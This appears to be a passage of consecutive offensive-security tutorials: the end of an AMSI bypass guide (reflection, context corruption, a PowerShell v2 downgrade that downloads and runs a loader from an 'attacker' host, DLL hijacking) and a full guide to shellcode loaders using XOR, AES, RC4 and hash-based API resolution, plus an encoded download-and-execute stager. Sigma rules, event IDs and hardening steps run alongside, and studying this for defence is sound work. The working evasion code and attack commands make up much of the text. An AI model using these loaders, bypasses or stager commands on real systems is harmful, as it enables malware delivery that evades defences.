Obfuscate until it slips past, run it, and AmsiUtils.amsiInitFailed is now true for the life of that PowerShell session. Compared to the memory patch, this is cleaner (no page flips, no byte writes) but narrower (per-session, PowerShell-only, and constantly getting new signatures written against it).

Point of view, since you asked: in 2024 and 2025 I reach for the memory patch first on stock Windows 10 hosts. The reflection route stays in the toolbox for constrained environments where I can’t Add-Type, but it’s the technique with the highest sig burn rate. Don’t tie your op to a copy-paste one-liner from a 2016 blog.


7. Bypass 3: amsiContext Corruption

Same reflection surface, different target. Instead of flipping a bool, corrupt the HAMSICONTEXT pointer itself. Zero it, or scribble over the Signature field, and subsequent scan calls fail because AMSI’s internal sanity checks bail out early.

Behaviorally this is different from amsiInitFailed. The flag path tells PowerShell “AMSI is dead, don’t bother.” The context-corruption path lets PowerShell keep calling in, but the calls no-op. Sometimes that difference matters for detection (amsiInitFailed correlates cleanly with “no scan events again ever”; context corruption produces scan calls that fail).

Big caveat: newer Windows 11 builds tightened validation around the HAMSICONTEXT header (that Signature magic field), and several of the pointer-corruption variants that worked cleanly on Windows 10 either don’t work or trigger a graceful fallback on 11. Confirm on your target build before relying on it.


8. Bypass 4: PowerShell v2 Downgrade

PowerShell 2.0 was written before AMSI existed and before Script Block Logging (Event 4104) existed. If PSv2 is still installed on the target as an optional Windows feature, you get both defenses turned off with one command line:

powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/loader.ps1')"

Zero AMSI scans, zero 4104 events. For an attacker this is a gift. For a defender this is inexcusable. On the hardening side:

Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root -NoRestart

If you run defense and haven’t done this yet, do it before you finish reading this section.


9. Bypass 5: amsi.dll DLL Hijacking

Overlaps with MITRE T1574.001. If a PowerShell host (or a repackaged binary loading PowerShell as a library) resolves amsi.dll from a search order that includes a directory you can write to, drop a stub amsi.dll there that exports AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer as no-ops returning success and a clean result. The host loads your DLL, calls into it, and never talks to the real AMSI at all.

The stub is a few lines of C. This is not a technique for the majority of stock hosts (PowerShell itself loads amsi.dll from System32 and does not have a writable search path in front of it), but it comes up constantly in third-party AMSI-aware apps and repackaged tooling. Red Canary’s Atomic Red Team has a working test under T1574.001 to reproduce it.


10. AMSITrigger: Turning Detection Rules Into a Search Problem

AMSITrigger (from RythmStick/AMSITrigger on GitHub) is the tool I mentioned above. It is worth its own section because it changes how you obfuscate. Instead of guessing which line of your loader is triggering the block, you get authoritative answers:

.\AMSITrigger.exe -i .\PayloadLoader.ps1 -f 3

Output points at the exact substring, the byte range, and the signature match. Now your obfuscation work is targeted rather than paranoid, and you learn a genuine detection-engineering skill in the process, because you see which patterns Defender actually keys on. Every red teamer serious about their craft should be comfortable with this tool. It is also how you build empathy for the blue side: you can see the signatures.


11. Detection and Defense

Here is the punchline for every operator in the room: PowerShell Script Block Logging (Event ID 4104) runs before AMSI, and it captures your script block whether or not AMSI is bypassed. Your entire memory-patch loader, Add-Type and all, gets written into an event log. Bypassing AMSI does not bypass logging.

11.1 Event IDs to Watch

SourceEvent IDWhat It Captures
Microsoft-Windows-PowerShell/Operational4104Full text of every PowerShell script block executed.
Microsoft-Windows-PowerShell/Operational4103Pipeline / module logging. Complementary, less detail.
Security4688Process creation with command line (requires audit policy).
Sysmon1Process create with full command line and parent.
Sysmon10Cross-process access, catches loaders that inject into powershell.exe.
Sysmon12 / 13Registry key create/modify. Specifically the AMSI provider deletion at HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}.

11.2 Strings to Hunt in EID 4104

Regardless of how clever the obfuscation is, at execution time the script block gets rehydrated. Reasonable hunt anchors:

  • AmsiUtils
  • amsiInitFailed
  • amsiContext
  • AmsiScanBuffer
  • amsi.dll
  • VirtualProtect / WriteProcessMemory
  • [Ref].Assembly.GetType
  • [Runtime.InteropServices.Marshal] / Marshal.Copy

11.3 ETW

There is an ETW provider called Microsoft-Antimalware-Scan-Interface that fires on AMSI scan requests and results, independent of PowerShell’s own logging. It is worth enabling in a collection pipeline because AMSI patches inside a host do not touch it. Advanced adversaries also patch ETW, but that is a separate topic and a separate detection story.

Confirm on your lab VM:

logman query providers | Select-String "Antimalware-Scan-Interface"

11.4 Sigma Rule

title: Potential AMSI Bypass via Memory Patching or Reflection
status: experimental
logsource:
    product: windows
    service: powershell
    definition: 'Script Block Logging (EID 4104) must be enabled'
detection:
    selection:
        EventID: 4104
        ScriptBlockText|contains:
            - 'AmsiUtils'
            - 'amsiInitFailed'
            - 'amsiContext'
            - 'AmsiScanBuffer'
            - 'VirtualProtect'
            - 'Marshal.Copy'
            - 'amsi.dll'
    condition: selection
falsepositives:
    - Security testing tools, AMSI research scripts
level: high
tags:
    - attack.defense_evasion
    - attack.t1562.001

Tune the false positives on your own environment; the strings above are exactly the ones you’ll see in bypass loaders, obfuscated or not, at execution time.

11.5 Hardening, in Priority Order

  1. Enable PowerShell Script Block Logging on every endpoint. It catches bypass loaders even when the bypass itself succeeds.
  2. Enable Module Logging and Transcription as secondary capture points.
  3. Disable PowerShell 2.0. Use the Disable-WindowsOptionalFeature command above. There is no defensible reason to leave it enabled in 2025.
  4. WDAC + Constrained Language Mode. Enforce CLM for any script not signed by your code-signing CA. This kills the Add-Type compile step used by nearly every memory-patch bypass in the wild.
  5. Monitor amsi.dll page permissions. An RWX region in amsi.dll inside a live process is not normal and should alert.
  6. EDR memory-integrity checks. VirtualProtect + Marshal.Copy (or WriteProcessMemory) targeting a region inside amsi.dll is a specific, catchable telemetry pair.

Symbolic illustration of a vigilant eye made of log data watching a bypass attempt, representing Script Block Logging capturing attacker activity even after AMSI is defeated
Script Block Logging (EID 4104) runs before AMSI and records every bypass loader verbatim – the eye that stays open even after the guard is patched.

12. Tools

ToolDescriptionLink
AMSITriggerBinary-searches a script for AMSI-flagged substrings.github.com/RythmStick/AMSITrigger
Invoke-ObfuscationPowerShell obfuscation framework (Daniel Bohannon).github.com/danielbohannon/Invoke-Obfuscation
WinDbgKernel/user debugger, used here to inspect and verify AmsiScanBuffer patches.learn.microsoft.com
SysmonEndpoint telemetry (process create, cross-process access, registry).sysinternals.com
Process HackerLive process/module inspection, view amsi.dll in target.processhacker.sourceforge.io
logmanEnumerate and enable ETW providers, including Microsoft-Antimalware-Scan-Interface.built-in

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Impair Defenses: Disable or Modify ToolsT1562.001EID 4104 strings for AmsiUtils, amsiInitFailed, AmsiScanBuffer patching.
Command and Scripting Interpreter: PowerShellT1059.001EID 4104 script block content, Sysmon EID 1 command line.
Hijack Execution Flow: DLL Search Order HijackingT1574.001Sysmon EID 7 image load of amsi.dll from a non-System32 path.
Obfuscated Files or InformationT1027Entropy / char-code reassembly patterns in EID 4104 script block text.

14. Lab Challenge

Do the whole cycle end to end on your VM before you close this tab:

  1. Prove AMSI is on by running 'Invoke-Mimikatz' and eating the block.
  2. Land the AmsiScanBuffer memory patch. Verify the two-instruction rewrite in WinDbg.
  3. Run 'Invoke-Mimikatz' again. Confirm the string prints.
  4. Open Event Viewer, Applications and Services Logs > Microsoft > Windows > PowerShell > Operational, and find your own patch loader in 4104. Read it. That is what your SOC would see.
  5. Write a Sigma rule that would have flagged your loader, using the anchors from Section 11.
  6. Try to defeat your own Sigma rule with Invoke-Obfuscation. Read the resulting 4104 and note what still survives obfuscation (hint: [Ref].Assembly.GetType and VirtualProtect are load-bearing and hard to hide).

You have not learned AMSI until you have done step 6 and been mildly disappointed by how visible the “invisible” bypass is.


Summary

  • AMSI is an in-process inspection layer, not a network filter; because it runs in your host, you can rewrite it, and because you can rewrite it, defenders cannot rely on it alone.
  • The memory-patch bypass is a six-byte overwrite of AmsiScanBuffer that returns E_INVALIDARG and leaves the scan result at AMSI_RESULT_CLEAN (0); PowerShell and .NET do not check the HRESULT.
  • Reflection bypasses (amsiInitFailed, amsiContext) still work but are the most heavily signatured path; expect Windows 11 to have narrowed some pointer-corruption variants further.
  • Script Block Logging (EID 4104) runs before AMSI and captures your bypass loader verbatim; every technique here leaves a Sigma-writable trail.
  • Hardening priority: enable 4104 everywhere, disable PowerShell v2, enforce CLM via WDAC, and alert on RWX pages inside amsi.dll.

Related Tutorials

References

Obfuscation Techniques: String Encoding, XOR, and Payload Encryption

Objective: Build a shellcode loader from source that layers Base64, XOR, RC4, and AES-256 obfuscation against a benign lab payload, then show exactly why each layer trips (or slides past) modern signature engines and Windows telemetry.


The most common mistake I see students make with this material is treating it as a crypto course. It isn’t. The XOR loop you’re about to write can be broken in a few seconds by any competent analyst. That’s fine. That’s the point. What matters is that the malicious byte pattern (a msfvenom windows/x64/exec blob, the literal string VirtualAllocEx, a beacon config) is not sitting in the PE’s .rdata when the AV signature engine runs its YARA sweep, and that the loader’s Import Address Table doesn’t scream “shellcode runner” to a triage analyst who has 90 seconds before the next ticket. Every layer below serves that one goal.

One quick lab-integrity note before we start: everything in this tutorial runs against a msfvenom payload that pops calc.exe. No C2, no network, no persistence. The training value is the loader plumbing, not the payload.


1. Threat Model: What Obfuscation Actually Buys You

Static AV engines score binaries on three cheap signals: known byte patterns (YARA), suspicious import combinations (VirtualAlloc + CreateThread + WriteProcessMemory in a 20KB console app is a giveaway), and entropy anomalies. Behavioural engines and EDR layer on top: user-mode API hooks, kernel callbacks (PsSetCreateProcessNotifyRoutineEx), ETW providers, AMSI.

Encoding and encryption only defeat the first two. They do nothing about the runtime behaviour: your CreateThread on freshly-allocated RWX memory still fires an EDR callback whether the source bytes came from AES or a plain array. Which is why the mature loaders you see in the wild pair obfuscation with syscalls, unhooking, or process injection into a signed host. This tutorial covers the obfuscation half; the runtime-evasion half is a separate discipline.

Detection LayerWhat Obfuscation BeatsWhat It Doesn’t
YARA / signature scanByte patterns of the plaintext payloadHigh-entropy .data sections still stand out
Import scanningSuspicious API combos in the IAT (if you resolve dynamically)Runtime LoadLibrary/GetProcAddress still logs as ETW image loads
Heuristic emulatorSimple decode stubs if the emulator times outAny full-emulation engine that finishes the decrypt
Behavioural / EDRNothing. Zero.Everything: RWX allocation, thread start, API telemetry

Nested vault layers representing obfuscation defeating static scanners but not behavioural detection
Obfuscation defeats static signature engines but leaves runtime behavioural telemetry entirely intact.

2. Lab Setup and the Baseline Loader

Two Windows 10 or 11 VMs, snapshotted. One “attacker” build box with MSVC (cl.exe from a Developer Command Prompt) and Python 3. One “victim” box with Sysmon installed using SwiftOnSecurity’s config, PowerShell Script Block Logging enabled, and Windows Defender turned on (real-time protection off during compile-scan iterations, back on for the final detonation).

Generate the payload once:

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
msfvenom -p windows/x64/exec CMD=calc.exe -f c -v sc > calc_sc.h

The unobfuscated baseline loader looks like this. Save as baseline_loader.c:

#include <windows.h>

// Paste the msfvenom -f c output here (declares `unsigned char sc[]`).
unsigned char sc[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    /* ... remainder of msfvenom windows/x64/exec CMD=calc.exe bytes ... */
    0xc3
};

int main(void) {
    LPVOID mem = VirtualAlloc(NULL, sizeof(sc),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    memcpy(mem, sc, sizeof(sc));
    HANDLE ht = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem,
                             NULL, 0, NULL);
    WaitForSingleObject(ht, INFINITE);
    return 0;
}

Compile: cl /nologo baseline_loader.c /Fe:baseline.exe

Drop it in %TEMP%, disable real-time protection for a moment, run MpCmdRun.exe -Scan -ScanType 3 -File C:\Users\lab\AppData\Local\Temp\baseline.exe. Defender flags it on the shellcode bytes alone. Good. That’s the delta we’re going to close.


3. String Encoding: Base64 and Stack Strings

Base64 is not encryption. It is a transport encoding. Attackers use it because it moves binary payloads through text-only channels (PowerShell -EncodedCommand, HTTP headers, DNS TXT records) without escaping headaches, and because a Base64 blob doesn’t match a YARA rule written for the raw payload.

In C, the round-trip goes through Crypt32.dll:

#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")

// Decode a Base64 string in-place-ish. Returns malloc'd buffer.
BYTE* b64_decode(const char *b64, DWORD *outlen) {
    DWORD needed = 0;
    CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64,
                         NULL, &needed, NULL, NULL);
    BYTE *buf = (BYTE*)malloc(needed);
    CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64,
                         buf, &needed, NULL, NULL);
    *outlen = needed;
    return buf;
}

Stack strings are the other half of this section. A string literal like "kernel32.dll" lands in .rdata and shows up in strings.exe output. Assemble it a byte at a time on the stack, and it never exists as a contiguous literal in the file:

// Instead of:  const char *dll = "kernel32.dll";
char dll[13];
dll[0]='k'; dll[1]='e'; dll[2]='r'; dll[3]='n';
dll[4]='e'; dll[5]='l'; dll[6]='3'; dll[7]='2';
dll[8]='.'; dll[9]='d'; dll[10]='l'; dll[11]='l';
dll[12]=0;

Ugly, but the string only exists in the compiled binary as a sequence of mov byte ptr [rsp+N], imm8 instructions. FLOSS from Mandiant can reconstruct these; plain strings cannot.

Same principle for PowerShell stagers, from the operator’s laptop:

$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://lab/x')"
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand $enc

Note the UTF-16LE encoding: -EncodedCommand requires it, and getting it wrong is one of the top three reasons a stager silently no-ops. This is exactly the pattern Sigma rules target on Event ID 4688 command-line auditing, which we’ll come back to.


4. XOR: The Universal Signature Bypass

XOR is its own inverse, so one function handles both encryption and decryption. That property is why XOR appears in Mirai, in Emotet loaders, and in half of every red team engagement report you’ll read. It costs nothing at runtime and it kills static byte signatures.

Offline encryptor (xor_encrypt.py):

import sys
key = b"G3nXCyb3r"
data = open(sys.argv[1], "rb").read()
enc = bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
out = ",".join(f"0x{b:02x}" for b in enc)
print(f"unsigned char enc_sc[] = {{ {out} }};")
print(f"// len = {len(enc)}")

Run: python xor_encrypt.py calc.bin > enc_sc.h

Here’s the war story I owe you. First time I built one of these, I picked a key that started with 0x00. The first byte of msfvenom’s windows/x64/exec stub is 0xfc. XOR against a leading null gives you back 0xfc. Which means byte one of my “encrypted” shellcode was still the plaintext byte. Defender caught it. Half a day of staring at hexdumps before I realized the encoder was fine and my key was garbage. Rule: never let your XOR key contain 0x00, and never let it contain the byte that appears most often in your plaintext (typically 0x00 again for shellcode). Print your ciphertext, eyeball the entropy, don’t trust the loop.

Loader (xor_loader.c):

#include <windows.h>

// Paste the xor_encrypt.py output here (declares `unsigned char enc_sc[]`).
unsigned char enc_sc[] = {
    0xbf, 0x2b, 0xe0, 0x8f, 0x83,
    /* ... remainder of xor-encrypted shellcode bytes ... */
    0xa4
};

static const unsigned char key[] = "G3nXCyb3r";

static void xor_buf(BYTE *buf, SIZE_T len, const BYTE *k, SIZE_T klen) {
    for (SIZE_T i = 0; i < len; i++) buf[i] ^= k[i % klen];
}

int main(void) {
    SIZE_T len = sizeof(enc_sc);
    LPVOID mem = VirtualAlloc(NULL, len,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_READWRITE);
    memcpy(mem, enc_sc, len);
    xor_buf((BYTE*)mem, len, key, sizeof(key) - 1);

    DWORD old;
    VirtualProtect(mem, len, PAGE_EXECUTE_READ, &old);
    HANDLE ht = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem,
                             NULL, 0, NULL);
    WaitForSingleObject(ht, INFINITE);
    return 0;
}

Two details worth noting. First, allocate as PAGE_READWRITE and flip to PAGE_EXECUTE_READ after decryption. Allocating PAGE_EXECUTE_READWRITE up front is a red flag every EDR looks for; the two-step pattern reads more like a JIT and gets fewer hits. Second, WaitForSingleObject keeps the process alive so calc actually pops before the loader exits.

Verify in WinDbg: set bp kernel32!VirtualProtect, hit the breakpoint, dd mem L20 shows the plaintext shellcode in memory even though the on-disk .data section is scrambled. This is why memory scanning (pe-sieve, Moneta) still catches the naive version. Obfuscation is not runtime evasion.


Flow diagram showing XOR encryption at build time and decryption at runtime with RW-to-RX page flip
The two-step RW → RX page permission flip avoids the RWX allocation red flag that every EDR watches for.

5. AES-256 via the Windows CryptoAPI

XOR is fine for byte-level obfuscation, but the on-disk entropy of a good XOR blob is still uneven, and static-analysis tools flag repeating-key XOR quickly. AES gives you flat, high-entropy ciphertext and uses APIs Windows itself calls constantly (Defender, Chrome, half the OS), so advapi32!CryptEncrypt is not by itself suspicious.

Key APIs and their ALG_ID values:

APIPurpose
CryptAcquireContextGrab a CSP handle; pass CRYPT_VERIFYCONTEXT for in-memory keys
CryptCreateHashHash object; CALG_SHA_256 = 0x0000800C
CryptHashDataFeed the password into the hash
CryptDeriveKeyDerive symmetric key; CALG_AES_256 = 0x00006610
CryptEncrypt / CryptDecryptSymmetric crypto; Final=TRUE on last block
CryptDestroyKey / CryptReleaseContextCleanup

The decryption stub in the loader (aes_loader.c, excerpted; the full listing lives in the lab repo):

#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "advapi32.lib")

// enc_sc[] is emitted by the offline aes_encryptor tool. Its length is
// taken with sizeof() at runtime and passed to CryptDecrypt by pointer.
unsigned char enc_sc[] = {
    0x8a, 0x1d, 0x4f, 0x7b, 0xe2,
    /* ... remainder of AES-256 ciphertext (multiple of 16 bytes) ... */
    0x11
};

BOOL aes_decrypt(BYTE *buf, DWORD *len, const char *pw) {
    HCRYPTPROV hProv = 0;
    HCRYPTHASH hHash = 0;
    HCRYPTKEY  hKey  = 0;
    BOOL ok = FALSE;

    if (!CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES,
                              CRYPT_VERIFYCONTEXT)) goto done;
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) goto done;
    if (!CryptHashData(hHash, (BYTE*)pw, (DWORD)strlen(pw), 0)) goto done;
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) goto done;
    if (!CryptDecrypt(hKey, 0, TRUE, 0, buf, len)) goto done;

    ok = TRUE;
done:
    if (hKey)  CryptDestroyKey(hKey);
    if (hHash) CryptDestroyHash(hHash);
    if (hProv) CryptReleaseContext(hProv, 0);
    return ok;
}

int main(void) {
    DWORD len = (DWORD)sizeof(enc_sc);
    LPVOID mem = VirtualAlloc(NULL, len + 32,
                              MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, enc_sc, len);
    if (!aes_decrypt((BYTE*)mem, &len, "GenXCyberAES256!")) return 1;

    DWORD old;
    VirtualProtect(mem, len, PAGE_EXECUTE_READ, &old);
    HANDLE ht = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem,
                             NULL, 0, NULL);
    WaitForSingleObject(ht, INFINITE);
    return 0;
}

Two gotchas. CryptDecrypt needs the buffer to be a multiple of the AES block size (16 bytes), so pad the shellcode and allocate a few extra bytes in VirtualAlloc. And CryptDeriveKey uses a CSP-internal key derivation from the hash bytes; it isn’t PBKDF2, so don’t reuse this scheme anywhere it matters. For the loader use case, it’s fine.

The offline aes_encryptor.c is the mirror image: CryptEncrypt in place of CryptDecrypt. Both share the same key-derivation path, so as long as the password and the ALG_IDs match, the ciphertext round-trips cleanly.


6. RC4 via the Undocumented SystemFunction033

advapi32.dll exports a handful of undocumented crypto helpers (SystemFunction001 through 036). SystemFunction033 is a straight RC4 wrapper. Same routine encrypts and decrypts, so you can generate ciphertext on the attacker box using the same function you ship in the loader. No IV, no padding, no CryptoAPI dance.

#include <windows.h>

typedef struct {
    ULONG  Length;
    ULONG  MaximumLength;
    PUCHAR Buffer;
} ustring;

typedef NTSTATUS (WINAPI *SystemFunction033_t)(ustring*, ustring*);

int main(void) {
    HMODULE h = LoadLibraryA("advapi32.dll");
    SystemFunction033_t rc4 =
        (SystemFunction033_t)GetProcAddress(h, "SystemFunction033");

    unsigned char enc_sc[] = { /* rc4-encrypted bytes */ };
    unsigned char key_b[]  = "GenXCyberRC4";

    ustring data = { sizeof(enc_sc), sizeof(enc_sc), enc_sc };
    ustring key  = { sizeof(key_b)-1, sizeof(key_b)-1, key_b };

    rc4(&data, &key);   // in-place decrypt

    LPVOID mem = VirtualAlloc(NULL, sizeof(enc_sc),
                              MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, enc_sc, sizeof(enc_sc));
    DWORD old;
    VirtualProtect(mem, sizeof(enc_sc), PAGE_EXECUTE_READ, &old);
    HANDLE ht = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem,
                             NULL, 0, NULL);
    WaitForSingleObject(ht, INFINITE);
    return 0;
}

The interesting property here is that SystemFunction033 doesn’t appear anywhere in wincrypt.h, doesn’t show up in most IAT scanners’ “suspicious API” heuristics, and the string SystemFunction033 in your binary is much less alarming to a triage analyst than CryptEncrypt. It’s a small win, but on a mature stack every string that doesn’t scream “malware” matters.

Because this is undocumented, verify behaviour in your target build of Windows before relying on it. Microsoft can and does change these exports across servicing branches.


7. Dynamic API Resolution: Killing the IAT

One of the fastest ways an analyst triages a 40KB binary is by grepping the imports. If they see VirtualAlloc, VirtualProtect, CreateThread, WriteProcessMemory, CreateRemoteThread, they open Ghidra. If they see printf and MessageBoxA, they close the tab.

Dynamic resolution moves those imports out of the IAT and into runtime lookups. The canonical pattern:

  1. XOR-encrypt the DLL names and function names at build time.
  2. At runtime, decrypt one at a time, LoadLibraryA the DLL, GetProcAddress the function, cache the pointer, zero the plaintext string.
  3. Better: hash the function names (djb2, ROR13) and walk the loaded module’s Export Address Table matching hashes. Now the plaintext function name never exists in the loader at all.

Sketch of the hash-walk approach:

DWORD ror13(const char *s) {
    DWORD h = 0;
    while (*s) { h = (h >> 13) | (h << 19); h += (BYTE)*s++; }
    return h;
}

FARPROC resolve_by_hash(HMODULE mod, DWORD target) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)mod + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)mod +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
           .VirtualAddress);

    DWORD *names = (DWORD*)((BYTE*)mod + exp->AddressOfNames);
    WORD  *ords  = (WORD*) ((BYTE*)mod + exp->AddressOfNameOrdinals);
    DWORD *funcs = (DWORD*)((BYTE*)mod + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char *name = (const char*)mod + names[i];
        if (ror13(name) == target)
            return (FARPROC)((BYTE*)mod + funcs[ords[i]]);
    }
    return NULL;
}

Pre-compute the hashes on the attacker box (ror13("VirtualAlloc") = 0x91AFCA54, and so on) and embed the constants. Your loader’s IAT now imports maybe kernel32!LoadLibraryA and kernel32!GetProcAddress if you want a starting point, or nothing at all if you resolve those too by walking the PEB’s Ldr list. This is the exact primitive MITRE catalogued as T1027.007.


8. Stacking the Layers

The individual techniques above are cheap. The value is in the stack. A realistic loader for a lab exercise chains at least three:

calc.bin
  -> XOR (offline)
  -> AES-256 (offline)
  -> Base64 (offline, stored as a wide string in the loader)

runtime:
  Base64 decode
  -> AES-256 decrypt (via CryptoAPI, resolved by hash)
  -> XOR decrypt (inline)
  -> VirtualAlloc RW, memcpy, VirtualProtect RX, CreateThread

Each layer changes the on-disk fingerprint, so recompiling with a new AES password produces a genuinely different binary. Rotate the XOR key on each build and the outer Base64 alphabet if you want to burn cycles. This is the poor-man’s polymorphism: the decryption code is stable but the ciphertext is fresh, so YARA rules written against a captured sample won’t hit the next build.

Check entropy with ent enc_sc.bin after each layer. Raw msfvenom windows/x64/exec sits around 6.0 bits/byte. Post-XOR climbs to ~7.5. Post-AES flattens to ~7.99. That last number is also what defenders’ entropy YARA rules look for, which brings us to detection.


Hierarchy diagram showing three build-time encoding layers and their corresponding runtime decode steps
Each offline layer changes the on-disk binary fingerprint, so rotating any key or password produces a genuinely different sample.

9. Detection and Defense

Everything above defeats naive static scanning. It does not defeat behavioural telemetry, and the honest answer to “why did my Cobalt Strike beacon get caught anyway” is almost always in one of these signals.

Sysmon and Security Event Log

SourceEvent IDWhat It Catches
Security4688Process create with command line (requires the “Include command line” GPO). Captures -EncodedCommand, -enc, FromBase64String, IEX.
Sysmon1Process create with hashes, parent image, integrity level. Same command-line coverage as 4688, plus PE hash pivoting.
Sysmon7Image load. Unexpected advapi32.dll load by a lightweight console app is worth a look.
Sysmon8CreateRemoteThread. Fires the moment your loader injects into another process.
Sysmon10Process access. Handle opens against LSASS or your target process with 0x1410-class rights.
PowerShell4104Script Block Logging. This is the important one: PowerShell logs the decoded, deobfuscated script content after the engine has resolved every -EncodedCommand, string concat, and Invoke-Expression layer. Attackers frequently forget this.

Event ID 4104 is the single highest-value log source on this list. AMSI plus 4104 means that a Base64-encoded PowerShell stager, even one that unpacks two layers of Invoke-Obfuscation output, still ends up in the event log as readable script content just before execution.

Sigma Rule Sketches

Encoded PowerShell command-line stager:

title: PowerShell Encoded Command Stager
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - ' -enc '
            - ' -EncodedCommand '
            - 'FromBase64String'
            - '::Unicode.GetString'
    condition: selection
tags:
    - attack.defense_evasion
    - attack.t1027.010
    - attack.t1059.001
level: high

Loader dropped to a user-writable path pulling in CryptoAPI:

title: Suspicious advapi32 Load From User Writable Path
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\advapi32.dll'
        Image|contains:
            - '\AppData\Local\Temp\'
            - '\Users\Public\'
            - '\ProgramData\'
    filter:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
    condition: selection and not filter
tags:
    - attack.defense_evasion
    - attack.t1027.013
level: medium

Memory Scanning

A YARA rule using math.entropy() against .data and .rdata sections is the standard opening move. Anything above 7.5 bits/byte on a section that’s more than a few KB is packed or encrypted until proven otherwise. Pe-sieve and Moneta both dump suspicious executable regions and diff them against the on-disk PE, catching the runtime-decrypted shellcode you saw in WinDbg in section 4. That is the reason obfuscation without runtime evasion is a half-measure.

Hardening

  • Enable command-line auditing GPO for Event 4688: Computer Configuration > Administrative Templates > System > Audit Process Creation > Include command line.
  • Enable PowerShell Script Block Logging: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging = 1.
  • Deploy Sysmon with SwiftOnSecurity or Olaf Hartong’s base config; watch Events 1, 7, 8, 10.
  • Turn on the ASR rule “Block execution of potentially obfuscated scripts” (5BEB7EFE-FD9A-4556-801D-275E5FFC04CC).
  • Monitor for AMSI tampering: AmsiScanBuffer patching in memory is a canary for evasion attempts, and EDRs increasingly ship a rule for it.

Magnifying glass catching decoded payload through a crack in an obfuscation wall, representing runtime telemetry detection
Sysmon Events and PowerShell Script Block Logging capture the decoded plaintext that static scanners never see.

10. Tools

ToolUseLink
msfvenomGenerate benign lab shellcodemetasploit.com
FLOSSReconstruct stack strings from binariesgithub.com/mandiant/flare-floss
pe-sieveScan process memory for unbacked executable regionsgithub.com/hasherezade/pe-sieve
MonetaLive memory scan for injection/decryption artifactsgithub.com/forrest-orr/moneta
Detect It Easy (DiE)Packer/encryptor identification, entropy graphsgithub.com/horsicq/Detect-It-Easy
entByte-frequency and entropy CLIfourmilab.ch/random
CyberChefBase64/XOR/AES round-tripping in a browsergchq.github.io/CyberChef
SysmonRuntime telemetry (Events 1/7/8/10)learn.microsoft.com/sysinternals
WinDbgWatch decryption stubs in memorylearn.microsoft.com/windows-hardware/drivers/debugger
YARA + math.entropyEntropy-based static detectionvirustotal.github.io/yara

11. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection Signal
Obfuscated Files or InformationT1027High-entropy PE sections; entropy YARA
Command ObfuscationT1027.010Event 4688 / Sysmon Event 1 with -EncodedCommand, FromBase64String
Encrypted/Encoded FileT1027.013Static YARA on decode stubs; on-disk entropy anomalies
Dynamic API ResolutionT1027.007Small IAT plus runtime LoadLibrary chains in Sysmon Event 7
Deobfuscate/Decode Files or InformationT1140Memory scans (pe-sieve/Moneta) catching the decrypted region
Command and Scripting Interpreter: PowerShellT1059.001Event 4104 script block content

Summary

  • Obfuscation is a static-signature problem, not a crypto problem. XOR is broken and still works, because “works” means “not in the file as literal bytes.”
  • Base64 and stack strings kill the cheapest analyst wins: strings.exe and grep-the-IAT triage.
  • CryptoAPI (CryptEncrypt/CryptDecrypt, CALG_AES_256) and SystemFunction033 give you flat-entropy ciphertext using APIs that don’t scream malware.
  • Dynamic API resolution via export-hash walks (T1027.007) is where the IAT-scanning signature genre goes to die.
  • Detection lives in the telemetry the loader can’t hide from: Sysmon Events 1/7/8/10, Security Event 4688 with command-line auditing, and PowerShell Event 4104 script block logging.
  • Obfuscation without runtime evasion is a half-loader. Memory scanning (pe-sieve, Moneta) still recovers the plaintext shellcode you decrypted in RWX. Plan the next layer accordingly.

Related Tutorials

References

AV and EDR Concepts: How Detections Work Against Offensive Tools

Objective: Take apart how modern AV and EDR products actually detect offensive tooling, from PE signatures on disk to inline NTDLL hooks, kernel callbacks, ETW-TI, AMSI, and WFP. You’ll build a small lab, watch every layer fire against a self-written injector, and then write the Sigma rule that catches it. By the end you should be able to reason about where a technique gets caught and why, not just guess.


1. AV vs EDR: What’s Actually Different

